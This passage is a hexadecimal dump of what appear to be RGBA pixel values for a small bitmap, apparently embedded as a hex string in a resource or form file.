FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDADADAFFBFBFBFFFC0C0C0FFC0C0\n      C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0\n      C0FFC0C0C0FFBFC0C0FFBFBFBFFFFFFFFFFFFFFFFFFFC3C3C2FFC6C6C5FFC5C4\n      C4FFC5C4C4FFC5C4C4FFC5C4C4FFC5C4C4FFC5C4C4FFC5C4C4FFC5C4C4FFC5C4\n      C4FFC5C4C4FFC6C6C5FFC2C2C1FFFFFFFFFFFFFFFFFFC4C4C4FFC6C5C6FFC6C6\n      C6FFC6C6C6FFC6C6C6FFC6C6C6FFC6C6C6FFC6C6C5FFC6C6C5FFC6C6C5FFC6C6\n      C5FFC6C6C5FFC6C6C5FFC3C3C3FFFFFFFFFFDADADAFFBFBFBFFFC0C0BFFFC0C0\n      C0FFC0C0C0FFBFBFBEFFBFBFBEFFBFBFBEFFBFBFBEFFBFBFBEFFC0C0C0FFC0C0\n      C0FFC0C0C0FFC0C0BFFFBFBFBFFFFFFFFFFF6D3F2AFF8F3B10FF8B3A11FF8D39\n      12FF8C3A12FF8C3A12FF8C3A12FF8C3A12FF8D370EFF8C3910FF8F360DFF8D39\n      11FF8D350BFF8C3A10FF8F3A10FF725A4EFF2969BAFF178DFFFF1789FFFF178A\n      FFFF1789FFFF1889FFFF1889FFFF1889FFFF1889FFFF1889FFFF1889FFFF1789\n      FFFF188AFFFF1789FFFF188FFFFF4D719EFF4B9C82FF58E2B7FF53DAB0FF52D9\n      AFFF53D9AFFF53D9B0FF53D9B0FF5AE5A0FF1C79FFFF2185FFFF2186FFFF2186\n      FFFF2285FFFF2286FFFF248EFFFF50709DFF50497BFF1935F9FF1D35F0FF2137\n      E9FF2136E9FF2036E9FF2036E9FF2036E9FF2036E9FF2036E9FF2036E9FF2136\n      E9FF2137E9FF2036EAFF2137F0FF505994FF6F4028FF883610FF873810FF8739\n      11FF883A13FF883A13FF883A13FF88370EFF805E45FF8C4323FF656E4DFF813E\n      16FF7D7464FF88320AFF8A3710FF755A4DFF2E56ACFF1D61EDFF1E5FE7FF1F60\n      E7FF1F60E7FF2060E7FF2060E7FF2060E7FF2060E7FF2060E7FF2060E7FF1F60\n      E7FF1F60E7FF1D5FE7FF1C60F1FF536A9AFF509060FF53BF6DFF53B96AFF54BA\n      6CFF54BA6CFF55B969FF5BB55BFF64C244FF2540FFFF2C4FEFFF2A5BEEFF295E\n      EEFF285DEDFF275CEDFF275DF8FF536898FF80513FFF9B4E37FF4937A9FF1A29\n      ECFF1C24DAFF1A20D6FF1A20D6FF1A20D6FF1A20D6FF1A20D6FF1A20D6FF1A20\n      D6FF1B1FD6FF191ED6FF191DDCFF4C5194FF6D3F25FF86340EFF853710FF8738\n      11FF863810FF863710FF883710FF882D04FF837D6FFF65663EFF479675FF4889\n      62FF826B57FF86401DFF89330AFF73584BFF3048A6FF1F47E6FF2146DFFF2247\n      DFFF2248E1FF2248E1FF2248E1FF2248E1FF2248E1FF2248E1FF2248E1FF2248\n      DFFF2247DFFF2046DFFF1F47E9FF536095FF508744FF55B23FFF55AF40FF56AE\n      41FF58AE3AFF5BA930FF23D9B5FF14F3CAFF11C9EFFF14BBEAFF2D37E5FF2D3E\n      E9FF2B44E9FF2843E7FF2A44F3FF555E94FF814933FFA34820FFAA4B16FF9043\n      3EFFA9A4D9FFBCCCFFFFB6BEF4FFB6BDF1FFB6BDF1FFB6BDF1FFB6BDF1FFB4BD\n      F1FFB4BDF1FFB5BCF1FFB8C1F8FF83879CFF6D3D25FF85320AFF86350EFF8536\n      0EFF873510FF87370FFF87320AFF83624BFF83AEACFF3C8958FF4D9E87FF3E76\n      41FF707651FF536230FF88330BFF725849FF313AA1FF1F30DFFF2232D9FF2333\n      DAFF2234DAFF2434DAFF2434DAFF2434DAFF2434DAFF2434DAFF2434DAFF2234\n      DAFF2333DAFF2231D9FF2031E3FF535893FF51812CFF57A818FF57A51BFF59A5\n      17FF5CA213FF00F8FFFF3AB28DFF244AC9FF1F33E5FF2D78D7FF04FFE6FF2D2F\n      E3FF2E2BE3FF2B2DE3FF292DEFFF555692FF854628FFA9400EFFA73E0EFFA93F\n      0AFFA73700FFCA8A62FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFA0A2A0FF6D3D25FF853209FF84330DFF8534\n      0CFF86350DFF873710FF88310AFF726445FF8D916DFF9EB573FF879F86FF3B92\n      69FFEA984BFF59ACA7FF8C3D1AFF725548FF21269CFF060FD9FF0710D2FF0811\n      D4FF0A12D4FF0B13D4FF0B13D4FF0B13D4FF0B13D4FF0B13D4FF0B13D4FF0A12\n      D4FF0811D4FF080FD3FF050EDBFF4A4C90FF517D25FF58A609FF56A10CFF5E9D\n      00FF26CD9BFF38BD8AFF1700F4FFAECBDCFFB6CED6FF1B06E3FF1AD2E6FF18A9\n      E2FF3014E2FF2B24E3FF2B24EDFF555391FF864323FFB24713FFB85C31FFB95F\n      34FFB04717FFA93A05FFA73500FFDBAC92FFD1D6FFFFD4D3FDFFD8D4F6FFD8D4\n      F4FFD7D4F4FFD7D3F4FFDCD9FCFF918F9BFF6E3F24FF893509FF7D2A00FF852F\n      01FF89380BFF86360EFF8A2F06FF55A48EFF847346FFFFAE40FF3DA78FFFB8B7\n      6CFFCABB7DFF75958AFF707C65FF735447FF9D9EB2FFD8DBFEFFD2D4F6FFD3D4\n      F8FFD3D5F8FFD3D5F8FFD3D5F8FFD3D5F8FFD3D5F8FFD3D5F8FFD3D5F8FFD3D5\n      F8FFD3D4F8FFD2D5F6FFDADDFFFF8F909CFF518026FF5DA90EFF58A210FF629A\n      00FF0CE6E5FF2C98A6FF3A96F3FFFFCF83FFFFCF84FF4599E5FF227CD6FF0CE9\n      E2FF310FE3FF2B26E3FF2B26EDFF565391FF874524FFA72E00FFFEFEFEFFFDFB\n      FBFFA32D00FFAD4310FFAC410EFFAA3901FF9C310EFF4A198FFF1D0BD3FF210D\n      CDFF210BCDFF1F09CDFF1D07D2FF50498CFF693520FF974815FFE0C5B2FFB7BE\n      FFFF8664A6FF853103FF873108FF885A44FF74C6C5FFB7B673FF7B989CFFCA96\n      58FF7B925BFF59653BFF8A2500FF725649FFBCBCB7FFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFA2A29EFF548026FF60AB11FF5EA713FF679E\n      00FF19DEC5FF13A3DBFF4E42E7FFFFF9B5FFFFF5B2FF5854E3FF276CDCFF12CF\n      E4FF3013E1FF2B25E3FF2B25EDFF565391FF864220FFCD8A64FFF2E2DBFFF2E3\n      DBFFC98462FFAA3C08FFAB410DFFAA3800FF942D18FF3F159CFF1D0BD2FF200B\n      CCFF200ACCFF1E09CDFF1B06D2FF4F488CFFA89787FFBDBBFFFF8569BAFFA059\n      2EFF8F3A00FF8D3D12FF8A3F19FF49652DFF918977FF679388FF857B84FF6FA3\n      A8FF7A6039FF82BCBFFF7D8879FF725447FFB6B6B6FFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFF9E9E9EFF548127FF63AD11FF62A915FF6AA4\n      03FF2FDAA4FF18B9F7FF3055F0FF7B92ECFF799DE4FF325EE6FF219FDAFF13AA\n      E0FF2E15E3FF2823E2FF2A25EDFF565391FF874625FFB04304FFBC6433FFBC62\n      31FFAF460AFFAC4208FFAB3D07FFE0B7A2FFDEE5FFFFE2E1FDFFE5E2F8FFE5E2\n      F8FFE5E2F8FFE5E2F8FFEBE8FFFF95949BFF6760ACFF8575E8FF887AEAFF8880\n      FAFF8B70BFFF934008FF8E4F22FF736A3EFF567A47FF88876DFF6E9384FF6C9A\n      89FF87D5DCFF7DCCD1FF918369FF735547FFB6B6B6FFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFF9E9E9EFF548127FF67AF13FF65AB16FF67AB\n      16FF6EA601FF1FD0E3FF47859DFF408198FF323AE7FF3A4EDBFF1DE1E0FF3B25\n      E4FF3931E5FF3934E6FF3D37F1FF565590FF894826FFB64E10FFB24C0EFFB64D\n      0CFFB44801FFDBA178FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFA2A29EFF6E67AEFF8B7BEAFF8577E8FF8881\n      F9FF8D72BFFF944208FF984315FF78D9DFFF845D2EFF95512EFF5A6762FF7367\n      5CFF9B3300FF72B4A7FF7C6632FF745647FFB6B6B6FFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFF9E9E9EFF558227FF6AB113FF67AD16FF68AE\n      1AFF69AD17FF72A900FF38D791FF21ECC3FF1AC5EDFF24ACE9FF4125E6FF3F36\n      E7FF3D38E7FF3C36E5FF3D38F2FF565390FF874A25FFBA520DFFC05500FF9C48\n      3EFFB2A4E2FFBEBCFFFFB9B1F1FFB8B0EFFFB8B0EFFFB8B0EFFFB8B0EFFFB8B0\n      EFFFB8B0EFFFB7AFEFFFBCB3F6FF838098FF6D5372FFA39BFFFFE1D1D4FFB978\n      3AFF8F3800FF944611FF94450FFF96420DFF96450FFF974915FF888A60FF8271\n      8FFF944A18FF973F09FF994005FF735747FFB6B6B6FFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFF9E9E9EFF558324FF6AB40DFF68AE0FFF69AF\n      11FF69AF12FF69AE11FF6FAA02FF79BC00FF3A13FFFF3E28E8FF3B35E8FF3B36\n      E8FF3C37E8FF3B34E8FF3C37F4FF54548FFF8F491FFFB34F17FF5930ABFF3422\n      EAFF361FD8FF341CD4FF341CD4FF341CD4FF341CD4FF341CD4FF341CD4FF341C\n      D4FF341BD4FF3319D4FF3417DBFF52498DFF774529FFAF6D38FF8E649BFFB5B4\n      FFFFC7AFB8FF9E5528FFA15C33FFA15B32FFA15B32FFA05C33FF9B6F4EFFA55C\n      2FFFA15B31FFA05B30FFA35D32FF816455FFC4C4C4FFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFACACACFF59892BFF86C43BFF7DBD36FF80BF\n      39FF80BE39FF80BE38FF80BE38FF88D01AFF5244FFFF5953F3FF5953F2FF5753\n      F2FF5854F2FF5753F2FF5B55FBFF5E5BA1FF654470FF4F44F2FF5542E3FF5845\n      DDFF5944DDFF5946DDFF5946DDFF5946DDFF5946DDFF5946DDFF5946DDFF5944\n      DDFF5845DDFF5744DDFF5945E1FF615B9AFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDADADAFFBFBFBFFFC0C0C0FFC0C0\n      C0FFC0C0C0FFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFC0C0C0FFC0C0\n      C0FFC0C0C0FFC0C0C0FFBFBFBFFFFFFFFFFFDADADAFFBFBFBFFFBFC0C0FFC0C0\n      C0FFC0C0C0FFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFC0C0C0FFC0C0\n      C0FFC0C0C0FFBFC0C0FFBFBFBFFFFFFFFFFFDADADAFFBFBFBFFFC0C0BFFFC0C0\n      C0FFC0C0C0FFBFBEBEFFBEBEBEFFBEBEBEFFBEBEBEFFBFBEBEFFC0C0C0FFC0C0\n      C0FFC0C0C0FFC0C0BFFFBFBFBFFFFFFFFFFFFFFFFFFFC4C4C4FFC5C5C5FFC5C5\n      C5FFC6C6C5FFC6C6C5FFC6C6C5FFC6C6C5FFC6C6C5FFC6C6C5FFC6C6C5FFC6C6\n      C5FFC6C6C5FFC6C6C5FFC3C3C3FFFFFFFFFF2B2B2BFF151515FF151515FF0B0B\n      0BFF121212FF171717FF161616FF161616FF161616FF161616FF171717FF1515\n      15FF161616FF13140CFF171520FF575281FF983A27FFD1310FFFCD310FFFCE31\n      10FFCD3110FFCD3110FFCD3110FFCD3110FFCD3110FFCD3110FFCD3110FFCD31\n      10FFCE3010FFCD310FFFD3320FFF8B554CFF1E35A7FF0027EDFF0128E7FF0227\n      E8FF0014E4FFF0FFFFFFE2FFFFFFE1FFFFFFE1FFFFFFEDFFFFFF5882F5FF001F\n      E7FF0228E8FF0127E7FF0028EFFF465593FF8BBCC3FFFFFFFFFFFFFFFFFF87BE\n      FFFF025FFFFF1A72FFFF267CFFFF267CFFFF267CFFFF267CFFFF267CFFFF267C\n      FFFF277BFFFF267CFFFF2986FFFF526E9AFF2A2A2AFF121212FF090909FF9E9E\n      9EFF2F2F2FFF121212FF141414FF141414FF141414FF141414FF141414FF1415\n      14FF121304FF1C1747FF3722E5FF585191FF953F28FFBE360FFFBB3611FFBB37\n      10FFBC3812FFBC3812FFBC3812FFBC3812FFBC3812FFBC3812FFBC3812FFBC38\n      12FFBB3711FFBB3610FFBE350FFF8A5649FF2031A5FF051DDAFF071FD8FF0720\n      D8FF000CD4FFF6FFFFFFE5FFFFFFE5FFFFFFE5FFFFFFF2FFFFFF5E75E7FF0017\n      D6FF0820D8FF071ED8FF051CDDFF454F94FFBDBCBCFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFF5A79E8FF0933DBFF274EE0FF2D55E2FF2D55E2FF2D55E2FF2B55\n      E2FF2C54E2FF2B52E2FF2B55EDFF566594FF262626FF0F0F0FFF0C0C0CFF4949\n      49FF141414FF111111FF131313FF131313FF131313FF131313FF12120FFF0F10\n      00FF261B88FF3621E4FF321DD8FF57508EFF8D4025FFB4380BFFB3390EFFB43A\n      0EFFB43B0FFFB43B0FFFB43B0FFFB43B0FFFB43B0FFFB43B0FFFB43B0FFFB43B\n      0FFFB43A0EFFB3390DFFB7390BFF855949FF222BA0FF0714D6FF0A15D4FF0A18\n      D4FF0002CFFFFFFFFFFFF0FFFFFFF0FFFFFFF0FFFFFFFDFFFFFF6370E3FF030E\n      D2FF0B18D4FF0815D4FF0714D8FF484D92FFB6B8B8FFFFFFFFFFFFFFFFFFFFFF\n      FDFFFFFFFFFFFFFFFFFFE4E5F9FF333DDBFF161FD5FF2D38DAFF303BDBFF303B\n      DBFF2F3ADBFF2D39D9FF2D3AE4FF565B90FF242424FF050505FF0A0A0AFF0606\n      06FF525252FF050505FF0F0F0FFF0F0F0FFF0F0F0FFF0D0E06FF100F13FF2F1D\n      BFFF331DDBFF2F1CD1FF2F1AD6FF564F8EFF873F1FFFAD3604FFAB3906FFAA39\n      08FFAC3A09FFAC3A09FFAE3C0AFFB4430CFFAF3D0AFFAC3A09FFAC3A09FFAC3A\n      09FFAA3908FFAB3806FFAF3803FF815848FF23259DFF090CD2FF0C0FCFFF0E10\n      CFFF0000CAFFFFFFFFFFFAFFFFFFFAFFFFFFFAFFFFFFFFFFFFFF696DE1FF0407\n      CDFF0D10CFFF0C0ECFFF090DD4FF494A8EFFBAB8B7FFEBFFFFFFFFFFFEFF3BDA\n      FBFFFFFFFEFFE6F9FEFFFFFFFFFFFFFFFFFFB5B1EEFF180CCDFF1F12CFFF3024\n      D3FF3025D3FF2F23D2FF2E21DDFF56538CFF202020FF454545FF2E2E2EFF0A0A\n      0AFF040404FF4A4A4AFF0B0B0BFF0F0F0FFF0D0E00FF181243FF341FDEFF311B\n      D4FF2E38D6FF2F16CFFF2C18D6FF554E8DFFBEC5C8FFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFA6A7F7FFE8F1FFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFA0A4A5FF25249BFF0A09D1FF0D0CCFFF0D0D\n      CEFF0000CAFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF6B6BE1FF0504\n      CCFF0E0DCEFF0C0BCFFF0908D4FF49498DFFCCBAB6FF52E2FFFF83E5FCFF2AD4\n      FAFF83E5FCFF68E1FBFFFFFFFEFFFEFEFEFFFFFFFFFFFFFFFFFF927CE3FF0D00\n      C8FF260FCEFF2F19CFFF2E17DAFF56508BFF202020FF707070FF323232FF0909\n      09FF080808FFB4B4B4FF141411FF0A0C00FF231886FF341FE4FF3218D0FF311E\n      D0FF2C4ADAFF2A49DAFF2D14D5FF554E8DFFB9B9B9FFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFF797AC8FF97A474FF656EB4FFFCFAF6FFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFF9E9E9EFF24249CFF0C0CD3FF0D0DCEFF0E0E\n      CEFF0000CAFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF6B6BE1FF0505\n      CCFF0E0ECFFF0C0CCFFF0909D4FF49498DFF9AB1B6FFBAF7FFFF00CBFAFF1AD1\n      FBFF07CDFAFFBFF0FDFFDDF6FCFFFFFFFEFFFFFEFEFFE9FCFEFFC4FFFFFFFFFF\n      FFFF5F59F1FF110AEEFF1A13FAFF514E96FF252525FF060606FF0C0C0CFF1313\n      13FF151515FF010200FF0E0E11FF2E1DBEFF3517DAFF320FCCFF2D56DDFF2888\n      E9FF2C4ADBFF2F21D1FF2C17D6FF554E8DFFB9B9B9FFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFF7488C4FF949E90FF6A7DBEFFFDFBF6FFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFF9E9E9EFF25259CFF0E0ED4FF1111D1FF1010\n      CFFF0000CBFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF6B6BE1FF0505\n      CCFF0E0ECFFF0C0CCFFF0909D4FF49498DFF89AEB6FFA3F1FFFF09CFFAFF23D2\n      FBFF06CDFAFFA1EBFBFFCCF3FCFFFFFFFEFFFFFEFEFFE7FAFFFF7DF5FFFFFFFF\n      FFFFDE985EFFB53A00FFC14400FF835D4AFF252525FF0F0F0FFF040404FFCBCB\n      CBFF2D2F1FFF1B1544FF3821DFFF311BD4FF287BE6FF2691EBFF20EAFFFF24A6\n      EFFF24A4EFFF2E0ECDFF2C18D5FF564E8DFFC5C6BCFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFAFFBCC4E8FFFDFDF2FFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFA5A59EFF25259DFF0F0FD5FF1212D3FF1414\n      D3FF0101CEFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF6B6BE1FF0404\n      CCFF0D0DCEFF0B0BCEFF0909D3FF49498DFFCCBAB7FF72EAFFFF74E4FCFF2ED7\n      FAFF76E5FCFF7DE5FBFFFFFFFEFFFEFEFEFFFFFFFFFFFFFFFFFFE7AB93FF9F24\n      00FFA53100FFAA3D09FFB34008FF7E5C4BFF262626FF101010FF11110EFF0C0E\n      00FF2B2087FF432DEAFF3F2BD7FF4024D4FF3879E7FF2FBFF6FF2CDCFCFF2BEA\n      FFFF32A2F0FF3D1BD2FF3E26DBFF564F8FFF32239CFF2A10D4FF2A14D1FF2C16\n      D1FF2C17D1FF2C17D1FF2E18D3FF341DD4FF2E18D2FF2913D0FF2711D0FF2712\n      CFFF2912D0FF2911D0FF2910D7FF50498CFF26269DFF1010D6FF1313D4FF1616\n      D4FF0101CFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF6F6FE2FF0C0C\n      CFFF1414D3FF1212D3FF0F0FD9FF49498DFFBCB8B6FFD1FBFFFFFAFEFDFF46DC\n      FBFFFFFFFDFFD6F6FCFFFFFFFFFFFFFFFFFFECD7CBFFB0450AFFAA3900FFB24C\n      13FFB34D15FFB35013FFBE5411FF805C4CFF252525FF0E0F07FF131317FF3D28\n      C4FF442DE2FF422CD7FF422CD7FF422BD7FF4326D6FF403CD9FF35B9F4FF3A8A\n      EAFF4220D4FF3F29D5FF3F26DCFF564F8FFF3F309EFF3F27D9FF4029D5FF412B\n      D7FF422CD7FF422CD7FF422CD7FF422CD7FF422CD7FF422CD7FF422CD7FF422C\n      D7FF412BD7FF3F29D5FF3F26DCFF564F8FFF25259EFF1010D7FF1313D5FF1515\n      D5FF0202D0FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF7070E5FF0C0C\n      D3FF1515D5FF1313D5FF0F0FDAFF49498DFFB6B6B6FFFFFFFFFFFFFFFEFFF4FB\n      FCFFFFFFFFFFFFFFFFFFFDFBFCFFBF6936FFAA3800FFB44F12FFB65318FFB653\n      16FFB65415FFB65113FFBF5410FF7E5C4BFF20201FFF191244FF4227E5FF4128\n      DBFF4028D7FF4028D7FF4028D7FF4028D7FF4028D7FF4021D5FF3B55E0FF3E3D\n      DBFF4024D6FF3F25D7FF4024DEFF554E8DFF3D2F9EFF3F24DBFF3F27D7FF4027\n      D7FF4028D7FF4028D7FF4028D7FF4028D7FF4028D7FF4028D7FF4028D7FF4028\n      D7FF4027D7FF3F25D7FF4024DEFF554E8DFF23239DFF0B0BD9FF0E0ED5FF1010\n      D5FF0000D2FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF6D6DE5FF0707\n      D4FF1010D5FF0E0ED5FF0A0ADCFF47478DFFBCB8B7FFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFCF8E62FFA93200FFB24905FFB5510FFFB7520FFFB7520FFFB752\n      0FFFB7520EFFB7510CFFC05509FF7D5B49FF3C3575FF5F4AF3FF5844DEFF5845\n      DDFF5944DDFF5946DDFF5946DDFF5946DDFF5946DDFF5946DDFF5942DCFF5942\n      DCFF5845DDFF5744DDFF5945E1FF615B9CFF453AA5FF5B47E0FF5843DDFF5845\n      DDFF5946DDFF5946DDFF5946DDFF5946DDFF5946DDFF5946DDFF5946DDFF5946\n      DDFF5845DDFF5744DDFF5945E1FF615B9CFF3030A3FF3333DEFF3131DAFF3333\n      DAFF2020D6FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF8484E9FF2B2B\n      D9FF3333DAFF3131DAFF3232DEFF55559AFF97BBC2FFFFFFFFFFFFFFFFFFE5B7\n      A1FFBC5418FFC05D25FFC66A36FFC66A37FFC66A37FFC66A37FFC66C37FFC66A\n      37FFC66A35FFC66935FFCD6E36FF8E6652FFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDADADAFFBFBFBFFFC0C0C0FFC0C0\n      